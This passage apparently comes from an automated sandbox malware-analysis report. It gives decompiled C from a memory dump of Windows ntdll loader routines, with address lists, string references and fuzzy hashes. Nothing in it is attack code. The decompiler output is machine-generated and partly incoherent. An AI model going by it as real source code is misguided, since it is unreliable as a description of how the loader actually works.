						}
						if(( *0x3d35780 & 0x00000010) != 0) {
							asm("int3");
						}
					}
					return E03C8B640(_t49, 0, _v8 ^ _t52, _t47, _t48, _t49);
				}
				_t47 =  *((intOrPtr*)(__ecx + 0x18));
				_t43 =  *0x3d37984; // 0x2ca1df0
				if( *((intOrPtr*)( *[fs:0x30] + 0x1f8)) == 0 || __ecx != _t43) {
					_t32 =  *((intOrPtr*)(_t48 + 0x28));
					if(_t48 == _t43) {
						_t50 = 0x5c;
						if( *_t32 == _t50) {
							_t46 = 0x3f;
							if( *((intOrPtr*)(_t32 + 2)) == _t46 &&  *((intOrPtr*)(_t32 + 4)) == _t46 &&  *((intOrPtr*)(_t32 + 6)) == _t50 &&  *((intOrPtr*)(_t32 + 8)) != 0 &&  *((short*)(_t32 + 0xa)) == 0x3a &&  *((intOrPtr*)(_t32 + 0xc)) == _t50) {
								_t32 = _t32 + 8;
							}
						}
					}
					_t51 =  *0x3d38464; // 0x73b80110
					 *0x3d3b1e0(_t47, _t32,  &_v12);
					_t49 =  *_t51();
					if(_t49 >= 0) {
						L8:
						_t35 = _v12;
						if(_t35 != 0) {
							if( *((intOrPtr*)(_t48 + 0x48)) != 0) {
								E03C79B10( *((intOrPtr*)(_t48 + 0x48)));
								_t35 = _v12;
							}
							 *((intOrPtr*)(_t48 + 0x48)) = _t35;
						}
						goto L9;
					}
					if(_t49 != 0xc000008a) {
						if(_t49 != 0xc000008b && _t49 != 0xc0000089 && _t49 != 0xc000000f && _t49 != 0xc0000204 && _t49 != 0xc0000002) {
							if(_t49 != 0xc00000bb) {
								goto L8;
							}
						}
					}
					if(( *0x3d35780 & 0x00000005) != 0) {
						_push(_t49);
						E03CC5510("minkernel\\ntdll\\ldrsnap.c", 0x298, "LdrpFindDllActivationContext", 2, "Probing for the manifest of DLL \"%wZ\" failed with status 0x%08lx\n", _t48 + 0x24);
						_t53 = _t53 + 0x1c;
					}
					_t49 = 0;
					goto L8;
				} else {
					goto L9;
				}
			}

0x03c78e0f
0x03c78e16
0x03c78e19
0x03c78e1b
0x03c78e21
0x03c78e7f
0x03c78e85
0x03cb9354
0x03cb936c
0x03cb9371
0x03cb937b
0x03cb9381
0x03cb9381
0x03cb937b
0x03c78e9d
0x03c78e9d
0x03c78e29
0x03c78e2c
0x03c78e38
0x03c78e3e
0x03c78e43
0x03c78eb5
0x03c78eb9
0x03cb92aa
0x03cb92af
0x03cb92e8
0x03cb92e8
0x03cb92af
0x03c78eb9
0x03c78e45
0x03c78e53
0x03c78e5b
0x03c78e5f
0x03c78e78
0x03c78e78
0x03c78e7d
0x03c78ec3
0x03c78ecd
0x03c78ed2
0x03c78ed2
0x03c78ec5
0x03c78ec5
0x00000000
0x03c78e7d
0x03c78e67
0x03c78ea4
0x03cb931a
0x00000000
0x00000000
0x03cb9320
0x03c78ea4
0x03c78e70
0x03cb9325
0x03cb9340
0x03cb9345
0x03cb9345
0x03c78e76
0x00000000
0x00000000
0x00000000
0x00000000

Strings

Querying the active activation context failed with status 0x%08lx, xrefs: 03CB9357
minkernel\ntdll\ldrsnap.c, xrefs: 03CB933B, 03CB9367
Probing for the manifest of DLL "%wZ" failed with status 0x%08lx, xrefs: 03CB932A
LdrpFindDllActivationContext, xrefs: 03CB9331, 03CB935D

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: LdrpFindDllActivationContext$Probing for the manifest of DLL "%wZ" failed with status 0x%08lx$Querying the active activation context failed with status 0x%08lx$minkernel\ntdll\ldrsnap.c
API String ID: 0-3779518884
Opcode ID: 0d660ba4893691193d55feca33c6f4d879a9e613cfdfe39d1831a142e2205e64
Instruction ID: ba3835ad543ff619d14cd20c9ed36b48f82f05186d796b07e315681b6f1002b9
Opcode Fuzzy Hash: 0d660ba4893691193d55feca33c6f4d879a9e613cfdfe39d1831a142e2205e64
Instruction Fuzzy Hash: D7410B3AA203159EDF34FA19C84FA76B675AB05244F0E41A9EE19DF151E7706E808393

Uniqueness

Uniqueness Score: -1.00%

Function 03D049A4, Relevance: 5.1, Strings: 4, Instructions: 114COMMON

Download Yara Rule

Strings

This is located in the %s field of the heap header., xrefs: 03D04AD6
HEAP[%wZ]: , xrefs: 03D04A3D, 03D04AB7
HEAP: , xrefs: 03D04A4A, 03D04A5D, 03D04A5F, 03D04AC4
Heap %p - headers modified (%p is %lx instead of %lx), xrefs: 03D04A61

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID: This is located in the %s field of the heap header.$HEAP: $HEAP[%wZ]: $Heap %p - headers modified (%p is %lx instead of %lx)
API String ID: 2994545307-336120773
Opcode ID: 48622dd2746449bb9adab87fb98d6c1dba237467f4400713a0819a00fb15af16
Instruction ID: 4567e95f59c64a533de4bb14723df7fd58bf92f9826225043051ddb6c6d1db48
Opcode Fuzzy Hash: 48622dd2746449bb9adab87fb98d6c1dba237467f4400713a0819a00fb15af16
Instruction Fuzzy Hash: 8C310539200210EFD750DB6AC986F6BB3B8FF04F28F194165F656EB291D671ED40CA68

Uniqueness

Uniqueness Score: -1.00%

Function 03C58794, Relevance: 4.0, Strings: 3, Instructions: 255
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E03C58794(void* __ecx) {
				signed int _v0;
				char _v8;
				signed int _v12;
				void* _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t77;
				signed int _t80;
				signed char _t81;
				signed int _t87;
				signed int _t91;
				void* _t92;
				void* _t94;
				signed int _t95;
				signed int _t103;
				signed int _t105;
				signed int _t110;
				signed int _t118;
				intOrPtr* _t121;
				intOrPtr _t122;
				signed int _t125;
				signed int _t129;
				signed int _t131;
				signed int _t134;
				signed int _t136;
				signed int _t143;
				signed int* _t147;
				signed int _t151;
				void* _t153;
				signed int* _t157;
				signed int _t159;
				signed int _t161;
				signed int _t166;
				signed int _t168;

				_push(__ecx);
				_t153 = __ecx;
				_t159 = 0;
				_t121 = __ecx + 0x3c;
				if( *_t121 == 0) {
					L2:
					_t77 =  *((intOrPtr*)(_t153 + 0x58));
					if(_t77 == 0 ||  *_t77 ==  *((intOrPtr*)(_t153 + 0x54))) {
						_t122 =  *((intOrPtr*)(_t153 + 0x20));
						_t180 =  *((intOrPtr*)(_t122 + 0x3a));
						if( *((intOrPtr*)(_t122 + 0x3a)) != 0) {
							L6:
							if(E03C5934A() != 0) {
								_t159 = E03CCA9D2( *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x20)) + 0x18)), 0, 0);
								__eflags = _t159;
								if(_t159 < 0) {
									_t81 =  *0x3d35780; // 0x0
									__eflags = _t81 & 0x00000003;
									if((_t81 & 0x00000003) != 0) {
										_push(_t159);
										E03CC5510("minkernel\\ntdll\\ldrsnap.c", 0x235, "LdrpDoPostSnapWork", 0, "LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x\n",  *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x20)) + 0x18)));
										_t81 =  *0x3d35780; // 0x0
									}
									__eflags = _t81 & 0x00000010;
									if((_t81 & 0x00000010) != 0) {
										asm("int3");
									}
								}
							}
						} else {
							_t159 = E03C5849B(0, _t122, _t153, _t159, _t180);
							if(_t159 >= 0) {
								goto L6;
							}
						}
						_t80 = _t159;
						goto L8;
					} else {
						_t125 = 0x13;
						asm("int 0x29");
						_push(0);
						_push(_t159);
						_t161 = _t125;
						_t87 =  *( *[fs:0x30] + 0x1e8);
						_t143 = 0;
						_v40 = _t161;
						_t118 = 0;
						_push(_t153);
						__eflags = _t87;
						if(_t87 != 0) {
							_t118 = _t87 + 0x5d8;
							__eflags = _t118;
							if(_t118 == 0) {
								L46:
								_t118 = 0;
							} else {
								__eflags =  *(_t118 + 0x30);
								if( *(_t118 + 0x30) == 0) {
									goto L46;
								}
							}
						}
						_v32 = 0;
						_v28 = 0;
						_v16 = 0;
						_v20 = 0;
						_v12 = 0;
						__eflags = _t118;
						if(_t118 != 0) {
							__eflags = _t161;
							if(_t161 != 0) {
								__eflags =  *(_t118 + 8);
								if( *(_t118 + 8) == 0) {
									L22:
									_t143 = 1;
									__eflags = 1;
								} else {
									_t19 = _t118 + 0x40; // 0x40
									_t156 = _t19;
									E03C58999(_t19,  &_v16);
									__eflags = _v0;
									if(_v0 != 0) {
										__eflags = _v0 - 1;
										if(_v0 != 1) {
											goto L22;
										} else {
											_t128 =  *(_t161 + 0x64);
											__eflags =  *(_t161 + 0x64);
											if( *(_t161 + 0x64) == 0) {
												goto L22;
											} else {
												E03C58999(_t128,  &_v12);
												_t147 = _v12;
												_t91 = 0;
												__eflags = 0;
												_t129 =  *_t147;
												while(1) {
													__eflags =  *((intOrPtr*)(0x3d35c60 + _t91 * 8)) - _t129;
													if( *((intOrPtr*)(0x3d35c60 + _t91 * 8)) == _t129) {
														break;
													}
													_t91 = _t91 + 1;
													__eflags = _t91 - 5;
													if(_t91 < 5) {
														continue;
													} else {
														_t131 = 0;
														__eflags = 0;
													}
													L37:
													__eflags = _t131;
													if(_t131 != 0) {
														goto L22;
													} else {
														__eflags = _v16 - _t147;
														if(_v16 != _t147) {
															goto L22;
														} else {
															E03C62280(_t92, 0x3d386cc);
															_t94 = E03D19DFB( &_v20);
															__eflags = _t94 - 1;
															if(_t94 != 1) {
															}
															asm("movsd");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															 *_t118 =  *_t118 + 1;
															asm("adc dword [ebx+0x4], 0x0");
															_t95 = E03C761A0( &_v32);
															__eflags = _t95;
															if(_t95 != 0) {
																__eflags = _v32 | _v28;
																if((_v32 | _v28) != 0) {
																	_t71 = _t118 + 0x40; // 0x3f
																	_t134 = _t71;
																	goto L55;
																}
															}
															goto L30;
														}
													}
													goto L56;
												}
												_t92 = 0x3d35c64 + _t91 * 8;
												asm("lock xadd [eax], ecx");
												_t131 = (_t129 | 0xffffffff) - 1;
												goto L37;
											}
										}
										goto L56;
									} else {
										_t143 = E03C58A0A( *((intOrPtr*)(_t161 + 0x18)),  &_v12);
										__eflags = _t143;
										if(_t143 != 0) {
											_t157 = _v12;
											_t103 = 0;
											__eflags = 0;
											_t136 =  &(_t157[1]);
											 *(_t161 + 0x64) = _t136;
											_t151 =  *_t157;
											_v20 = _t136;
											while(1) {
												__eflags =  *((intOrPtr*)(0x3d35c60 + _t103 * 8)) - _t151;
												if( *((intOrPtr*)(0x3d35c60 + _t103 * 8)) == _t151) {
													break;
												}
												_t103 = _t103 + 1;
												__eflags = _t103 - 5;
												if(_t103 < 5) {
													continue;
												}
												L21:
												_t105 = E03C8F380(_t136, 0x3c21184, 0x10);
												__eflags = _t105;
												if(_t105 != 0) {
													__eflags =  *_t157 -  *_v16;
													if( *_t157 >=  *_v16) {
														goto L22;
													} else {
														asm("cdq");
														_t166 = _t157[5] & 0x0000ffff;
														_t108 = _t157[5] & 0x0000ffff;
														asm("cdq");
														_t168 = _t166 << 0x00000010 | _t157[5] & 0x0000ffff;
														__eflags = ((_t151 << 0x00000020 | _t166) << 0x10 | _t151) -  *((intOrPtr*)(_t118 + 0x2c));
														if(__eflags > 0) {
															L29:
															E03C62280(_t108, 0x3d386cc);
															 *_t118 =  *_t118 + 1;
															_t42 = _t118 + 0x40; // 0x3f
															_t156 = _t42;
															asm("adc dword [ebx+0x4], 0x0");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															_t110 = E03C761A0( &_v32);
															__eflags = _t110;
															if(_t110 != 0) {
																__eflags = _v32 | _v28;
																if((_v32 | _v28) != 0) {
																	_t134 = _v20;
																	L55:
																	E03D19D2E(_t134, 1, _v32, _v28,  *(_v24 + 0x24) & 0x0000ffff,  *((intOrPtr*)(_v24 + 0x28)));
																}
															}
															L30:
															 *_t118 =  *_t118 + 1;
															asm("adc dword [ebx+0x4], 0x0");
															E03C5FFB0(_t118, _t156, 0x3d386cc);
															goto L22;
														} else {
															if(__eflags < 0) {
																goto L22;
															} else {
																__eflags = _t168 -  *((intOrPtr*)(_t118 + 0x28));
																if(_t168 <  *((intOrPtr*)(_t118 + 0x28))) {
																	goto L22;
																} else {
																	goto L29;
																}
															}
														}
													}
													goto L56;
												}
												goto L22;
											}
											asm("lock inc dword [eax]");
											goto L21;
										}
									}
								}
							}
						}
						return _t143;
					}
				} else {
					_push( &_v8);
					_push( *((intOrPtr*)(__ecx + 0x50)));
					_push(__ecx + 0x40);
					_push(_t121);
					_push(0xffffffff);
					_t80 = E03C89A00();
					_t159 = _t80;
					if(_t159 < 0) {
						L8:
						return _t80;
					} else {
						goto L2;
					}
				}
				L56:
			}

0x03c58799
0x03c5879d
0x03c587a1
0x03c587a3
0x03c587a8
0x03c587c3
0x03c587c3
0x03c587c8
0x03c587d1
0x03c587d4
0x03c587d8
0x03c587e5
0x03c587ec
0x03ca9bfe
0x03ca9c00
0x03ca9c02
0x03ca9c08
0x03ca9c0d
0x03ca9c0f
0x03ca9c14
0x03ca9c2d
0x03ca9c32
0x03ca9c37
0x03ca9c3a
0x03ca9c3c
0x03ca9c42
0x03ca9c42
0x03ca9c3c
0x03ca9c02
0x03c587da
0x03c587df
0x03c587e3
0x00000000
0x00000000
0x03c587e3
0x03c587f2
0x00000000
0x03c587fb
0x03c587fd
0x03c587fe
0x03c5880e
0x03c5880f
0x03c58810
0x03c58814
0x03c5881a
0x03c5881c
0x03c5881f
0x03c58821
0x03c58822
0x03c58824
0x03c58826
0x03c5882c
0x03c5882e
0x03ca9c48
0x03ca9c48
0x03c58834
0x03c58834
0x03c58837
0x00000000
0x00000000
0x03c58837
0x03c5882e
0x03c5883d
0x03c58840
0x03c58843
0x03c58846
0x03c58849
0x03c5884c
0x03c5884e
0x03c58850
0x03c58852
0x03c58854
0x03c58857
0x03c588b4
0x03c588b6
0x03c588b6
0x03c58859
0x03c58859
0x03c58859
0x03c58861
0x03c58866
0x03c5886a
0x03c5893d
0x03c58941
0x00000000
0x03c58947
0x03c58947
0x03c5894a
0x03c5894c
0x00000000
0x03c58952
0x03c58955
0x03c5895a
0x03c5895d
0x03c5895d
0x03c5895f
0x03c58961
0x03c58961
0x03c58968
0x00000000
0x00000000
0x03c5896a
0x03c5896b
0x03c5896e
0x00000000
0x03c58970
0x03c58970
0x03c58970
0x03c58970
0x03c58972
0x03c58972
0x03c58974
0x00000000
0x03c5897a
0x03c5897a
0x03c5897d
0x00000000
0x03c58983
0x03ca9c65
0x03ca9c6d
0x03ca9c72
0x03ca9c75
0x03ca9c75
0x03ca9c82
0x03ca9c86
0x03ca9c87
0x03ca9c88
0x03ca9c89
0x03ca9c8c
0x03ca9c90
0x03ca9c95
0x03ca9c97
0x03ca9ca0
0x03ca9ca3
0x03ca9ca9
0x03ca9ca9
0x00000000
0x03ca9ca9
0x03ca9ca3
0x00000000
0x03ca9c97
0x03c5897d
0x00000000
0x03c58974
0x03c58988
0x03c58992
0x03c58996
0x00000000
0x03c58996
0x03c5894c
0x00000000
0x03c58870
0x03c5887b
0x03c5887d
0x03c5887f
0x03c58881
0x03c58884
0x03c58884
0x03c58886
0x03c58889
0x03c5888c
0x03c5888e
0x03c58891
0x03c58891
0x03c58898
0x00000000
0x00000000
0x03c5889a
0x03c5889b
0x03c5889e
0x00000000
0x00000000
0x03c588a0
0x03c588a8
0x03c588b0
0x03c588b2
0x03c588d3
0x03c588d5
0x00000000
0x03c588d7
0x03c588db
0x03c588dc
0x03c588e0
0x03c588e8
0x03c588ee
0x03c588f0
0x03c588f3
0x03c588fc
0x03c58901
0x03c58906
0x03c5890c
0x03c5890c
0x03c5890f
0x03c58916
0x03c58917
0x03c58918
0x03c58919
0x03c5891a
0x03c5891f
0x03c58921
0x03ca9c52
0x03ca9c55
0x03ca9c5b
0x03ca9cac
0x03ca9cc0
0x03ca9cc0
0x03ca9c55
0x03c58927
0x03c58927
0x03c5892f
0x03c58933
0x00000000
0x03c588f5
0x03c588f5
0x00000000
0x03c588f7
0x03c588f7
0x03c588fa
0x00000000
0x00000000
0x00000000
0x00000000
0x03c588fa
0x03c588f5
0x03c588f3
0x00000000
0x03c588d5
0x00000000
0x03c588b2
0x03c588c9
0x00000000
0x03c588c9
0x03c5887f
0x03c5886a
0x03c58857
0x03c58852
0x03c588bf
0x03c588bf
0x03c587aa
0x03c587ad
0x03c587ae
0x03c587b4
0x03c587b5
0x03c587b6
0x03c587b8
0x03c587bd
0x03c587c1
0x03c587f4
0x03c587fa
0x00000000
0x00000000
0x00000000
0x03c587c1
0x00000000

Strings

LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x, xrefs: 03CA9C18
LdrpDoPostSnapWork, xrefs: 03CA9C1E
minkernel\ntdll\ldrsnap.c, xrefs: 03CA9C28

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: LdrpDoPostSnapWork$LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x$minkernel\ntdll\ldrsnap.c
API String ID: 0-1948996284
Opcode ID: 7b6ab4be987248f46031efde64e24d7ad21b3273a63c66d923758d8e51319032
Instruction ID: 20fa699c4689af8f4c7f7fa406ffd9975df2381a71e4ae75716eb5edc2962888
Opcode Fuzzy Hash: 7b6ab4be987248f46031efde64e24d7ad21b3273a63c66d923758d8e51319032
Instruction Fuzzy Hash: 5291CE32B0071A9BDB18DF59C481AAAB3B5FF45715B0940A9FC05EF240DB30AE81CB98

Uniqueness

Uniqueness Score: -1.00%

Function 03C57E41, Relevance: 3.9, Strings: 3, Instructions: 174
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E03C57E41(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v24;
				signed int _t73;
				void* _t77;
				char* _t82;
				char* _t87;
				signed char* _t97;
				signed char _t102;
				intOrPtr _t107;
				signed char* _t108;
				intOrPtr _t112;
				intOrPtr _t124;
				intOrPtr _t125;
				intOrPtr _t126;

				_t107 = __edx;
				_v12 = __ecx;
				_t125 =  *((intOrPtr*)(__ecx + 0x20));
				_t124 = 0;
				_v20 = __edx;
				if(E03C5CEE4( *((intOrPtr*)(_t125 + 0x18)), 1, 0xe,  &_v24,  &_v8) >= 0) {
					_t112 = _v8;
				} else {
					_t112 = 0;
					_v8 = 0;
				}
				if(_t112 != 0) {
					if(( *(_v12 + 0x10) & 0x00800000) != 0) {
						_t124 = 0xc000007b;
						goto L8;
					}
					_t73 =  *(_t125 + 0x34) | 0x00400000;
					 *(_t125 + 0x34) = _t73;
					if(( *(_t112 + 0x10) & 0x00000001) == 0) {
						goto L3;
					}
					 *(_t125 + 0x34) = _t73 | 0x01000000;
					_t124 = E03C4C9A4( *((intOrPtr*)(_t125 + 0x18)));
					if(_t124 < 0) {
						goto L8;
					} else {
						goto L3;
					}
				} else {
					L3:
					if(( *(_t107 + 0x16) & 0x00002000) == 0) {
						 *(_t125 + 0x34) =  *(_t125 + 0x34) & 0xfffffffb;
						L8:
						return _t124;
					}
					if(( *( *((intOrPtr*)(_t125 + 0x5c)) + 0x10) & 0x00000080) != 0) {
						if(( *(_t107 + 0x5e) & 0x00000080) != 0) {
							goto L5;
						}
						_t102 =  *0x3d35780; // 0x0
						if((_t102 & 0x00000003) != 0) {
							E03CC5510("minkernel\\ntdll\\ldrmap.c", 0x363, "LdrpCompleteMapModule", 0, "Could not validate the crypto signature for DLL %wZ\n", _t125 + 0x24);
							_t102 =  *0x3d35780; // 0x0
						}
						if((_t102 & 0x00000010) != 0) {
							asm("int3");
						}
						_t124 = 0xc0000428;
						goto L8;
					}
					L5:
					if(( *(_t125 + 0x34) & 0x01000000) != 0) {
						goto L8;
					}
					_t77 = _a4 - 0x40000003;
					if(_t77 == 0 || _t77 == 0x33) {
						_v16 =  *((intOrPtr*)(_t125 + 0x18));
						if(E03C67D50() != 0) {
							_t82 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						} else {
							_t82 = 0x7ffe0384;
						}
						_t108 = 0x7ffe0385;
						if( *_t82 != 0) {
							if(( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
								if(E03C67D50() == 0) {
									_t97 = 0x7ffe0385;
								} else {
									_t97 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								}
								if(( *_t97 & 0x00000020) != 0) {
									E03CC7016(0x1490, _v16, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
						}
						if(_a4 != 0x40000003) {
							L14:
							_t126 =  *((intOrPtr*)(_t125 + 0x18));
							if(E03C67D50() != 0) {
								_t87 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
							} else {
								_t87 = 0x7ffe0384;
							}
							if( *_t87 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
								if(E03C67D50() != 0) {
									_t108 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								}
								if(( *_t108 & 0x00000020) != 0) {
									E03CC7016(0x1491, _t126, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
							goto L8;
						} else {
							_v16 = _t125 + 0x24;
							_t124 = E03C7A1C3( *((intOrPtr*)(_t125 + 0x18)),  *((intOrPtr*)(_v12 + 0x5c)), _v20, _t125 + 0x24);
							if(_t124 < 0) {
								E03C4B1E1(_t124, 0x1490, 0, _v16);
								goto L8;
							}
							goto L14;
						}
					} else {
						goto L8;
					}
				}
			}

0x03c57e4c
0x03c57e50
0x03c57e55
0x03c57e58
0x03c57e5d
0x03c57e71
0x03c57f33
0x03c57e77
0x03c57e77
0x03c57e79
0x03c57e79
0x03c57e7e
0x03c57f45
0x03ca9848
0x00000000
0x03ca9848
0x03c57f4e
0x03c57f53
0x03c57f5a
0x00000000
0x00000000
0x03ca985a
0x03ca9862
0x03ca9866
0x00000000
0x03ca986c
0x00000000
0x03ca986c
0x03c57e84
0x03c57e84
0x03c57e8d
0x03ca9871
0x03c57eb8
0x03c57ec0
0x03c57ec0
0x03c57e9a
0x03ca987e
0x00000000
0x00000000
0x03ca9884
0x03ca988b
0x03ca98a7
0x03ca98ac
0x03ca98b1
0x03ca98b6
0x03ca98b8
0x03ca98b8
0x03ca98b9
0x00000000
0x03ca98b9
0x03c57ea0
0x03c57ea7
0x00000000
0x00000000
0x03c57eac
0x03c57eb1
0x03c57ec6
0x03c57ed0
0x03ca98cc
0x03c57ed6
0x03c57ed6
0x03c57ed6
0x03c57ede
0x03c57ee3
0x03ca98e3
0x03ca98f0
0x03ca9902
0x03ca98f2
0x03ca98fb
0x03ca98fb
0x03ca9907
0x03ca991d
0x03ca991d
0x03ca9907
0x03ca98e3
0x03c57ef0
0x03c57f14
0x03c57f14
0x03c57f1e
0x03ca9946
0x03c57f24
0x03c57f24
0x03c57f24
0x03c57f2c
0x03ca996a
0x03ca9975
0x03ca9975
0x03ca997e
0x03ca9993
0x03ca9993
0x03ca997e
0x00000000
0x03c57ef2
0x03c57efc
0x03c57f0a
0x03c57f0e
0x03ca9933
0x00000000
0x03ca9933
0x00000000
0x03c57f0e
0x00000000
0x00000000
0x00000000
0x03c57eb1

Strings

Could not validate the crypto signature for DLL %wZ, xrefs: 03CA9891
LdrpCompleteMapModule, xrefs: 03CA9898
minkernel\ntdll\ldrmap.c, xrefs: 03CA98A2

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
API String ID: 0-1676968949
Opcode ID: 71b0d2ad364b166cad2a761f26eed99f40b6ee38c2d603403420e1144cad03d4
Instruction ID: 3271086cefbef09564f7480654455a0f2b9d9d853731f9bf6aafa8fae644b412
Opcode Fuzzy Hash: 71b0d2ad364b166cad2a761f26eed99f40b6ee38c2d603403420e1144cad03d4
Instruction Fuzzy Hash: A851EF31644B459FEB21CB69C985B2ABBA4AB01318F0806A9FC55DF7D1D7B0EE80CB54

Uniqueness

Uniqueness Score: -1.00%

Function 03C4E620, Relevance: 3.9, Strings: 3, Instructions: 165
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E03C4E620(void* __ecx, short* __edx, short* _a4) {
				char _v16;
				char _v20;
				intOrPtr _v24;
				char* _v28;
				char _v32;
				char _v36;
				char _v44;
				signed int _v48;
				intOrPtr _v52;
				void* _v56;
				void* _v60;
				char _v64;
				void* _v68;
				void* _v76;
				void* _v84;
				signed int _t59;
				signed int _t74;
				signed short* _t75;
				signed int _t76;
				signed short* _t78;
				signed int _t83;
				short* _t93;
				signed short* _t94;
				short* _t96;
				void* _t97;
				signed int _t99;
				void* _t101;
				void* _t102;

				_t80 = __ecx;
				_t101 = (_t99 & 0xfffffff8) - 0x34;
				_t96 = __edx;
				_v44 = __edx;
				_t78 = 0;
				_v56 = 0;
				if(__ecx == 0 || __edx == 0) {
					L28:
					_t97 = 0xc000000d;
				} else {
					_t93 = _a4;
					if(_t93 == 0) {
						goto L28;
					}
					_t78 = E03C4F358(__ecx, 0xac);
					if(_t78 == 0) {
						_t97 = 0xc0000017;
						L6:
						if(_v56 != 0) {
							_push(_v56);
							E03C895D0();
						}
						if(_t78 != 0) {
							L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t78);
						}
						return _t97;
					}
					E03C8FA60(_t78, 0, 0x158);
					_v48 = _v48 & 0x00000000;
					_t102 = _t101 + 0xc;
					 *_t96 = 0;
					 *_t93 = 0;
					E03C8BB40(_t80,  &_v36, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\NLS\\Language");
					_v36 = 0x18;
					_v28 =  &_v44;
					_v64 = 0;
					_push( &_v36);
					_push(0x20019);
					_v32 = 0;
					_push( &_v64);
					_v24 = 0x40;
					_v20 = 0;
					_v16 = 0;
					_t97 = E03C89600();
					if(_t97 < 0) {
						goto L6;
					}
					E03C8BB40(0,  &_v36, L"InstallLanguageFallback");
					_push(0);
					_v48 = 4;
					_t97 = L03C4F018(_v64,  &_v44,  &_v56, _t78,  &_v48);
					if(_t97 >= 0) {
						if(_v52 != 1) {
							L17:
							_t97 = 0xc0000001;
							goto L6;
						}
						_t59 =  *_t78 & 0x0000ffff;
						_t94 = _t78;
						_t83 = _t59;
						if(_t59 == 0) {
							L19:
							if(_t83 == 0) {
								L23:
								E03C8BB40(_t83, _t102 + 0x24, _t78);
								if(L03C543C0( &_v48,  &_v64) == 0) {
									goto L17;
								}
								_t84 = _v48;
								 *_v48 = _v56;
								if( *_t94 != 0) {
									E03C8BB40(_t84, _t102 + 0x24, _t94);
									if(L03C543C0( &_v48,  &_v64) != 0) {
										 *_a4 = _v56;
									} else {
										_t97 = 0xc0000001;
										 *_v48 = 0;
									}
								}
								goto L6;
							}
							_t83 = _t83 & 0x0000ffff;
							while(_t83 == 0x20) {
								_t94 =  &(_t94[1]);
								_t74 =  *_t94 & 0x0000ffff;
								_t83 = _t74;
								if(_t74 != 0) {
									continue;
								}
								goto L23;
							}
							goto L23;
						} else {
							goto L14;
						}
						while(1) {
							L14:
							_t27 =  &(_t94[1]); // 0x2
							_t75 = _t27;
							if(_t83 == 0x2c) {
								break;
							}
							_t94 = _t75;
							_t76 =  *_t94 & 0x0000ffff;
							_t83 = _t76;
							if(_t76 != 0) {
								continue;
							}
							goto L23;
						}
						 *_t94 = 0;
						_t94 = _t75;
						_t83 =  *_t75 & 0x0000ffff;
						goto L19;
					}
				}
			}

0x03c4e620
0x03c4e628
0x03c4e62f
0x03c4e631
0x03c4e635
0x03c4e637
0x03c4e63e
0x03ca5503
0x03ca5503
0x03c4e64c
0x03c4e64c
0x03c4e651
0x00000000
0x00000000
0x03c4e661
0x03c4e665
0x03ca542a
0x03c4e715
0x03c4e71a
0x03c4e71c
0x03c4e720
0x03c4e720
0x03c4e727
0x03c4e736
0x03c4e736
0x03c4e743
0x03c4e743
0x03c4e673
0x03c4e678
0x03c4e67d
0x03c4e682
0x03c4e685
0x03c4e692
0x03c4e69b
0x03c4e6a3
0x03c4e6ad
0x03c4e6b1
0x03c4e6b2
0x03c4e6bb
0x03c4e6bf
0x03c4e6c0
0x03c4e6c8
0x03c4e6cc
0x03c4e6d5
0x03c4e6d9
0x00000000
0x00000000
0x03c4e6e5
0x03c4e6ea
0x03c4e6f9
0x03c4e70b
0x03c4e70f
0x03ca5439
0x03ca545e
0x03ca545e
0x00000000
0x03ca545e
0x03ca543b
0x03ca543e
0x03ca5440
0x03ca5445
0x03ca5472
0x03ca5475
0x03ca548d
0x03ca5493
0x03ca54a9
0x00000000
0x00000000
0x03ca54ab
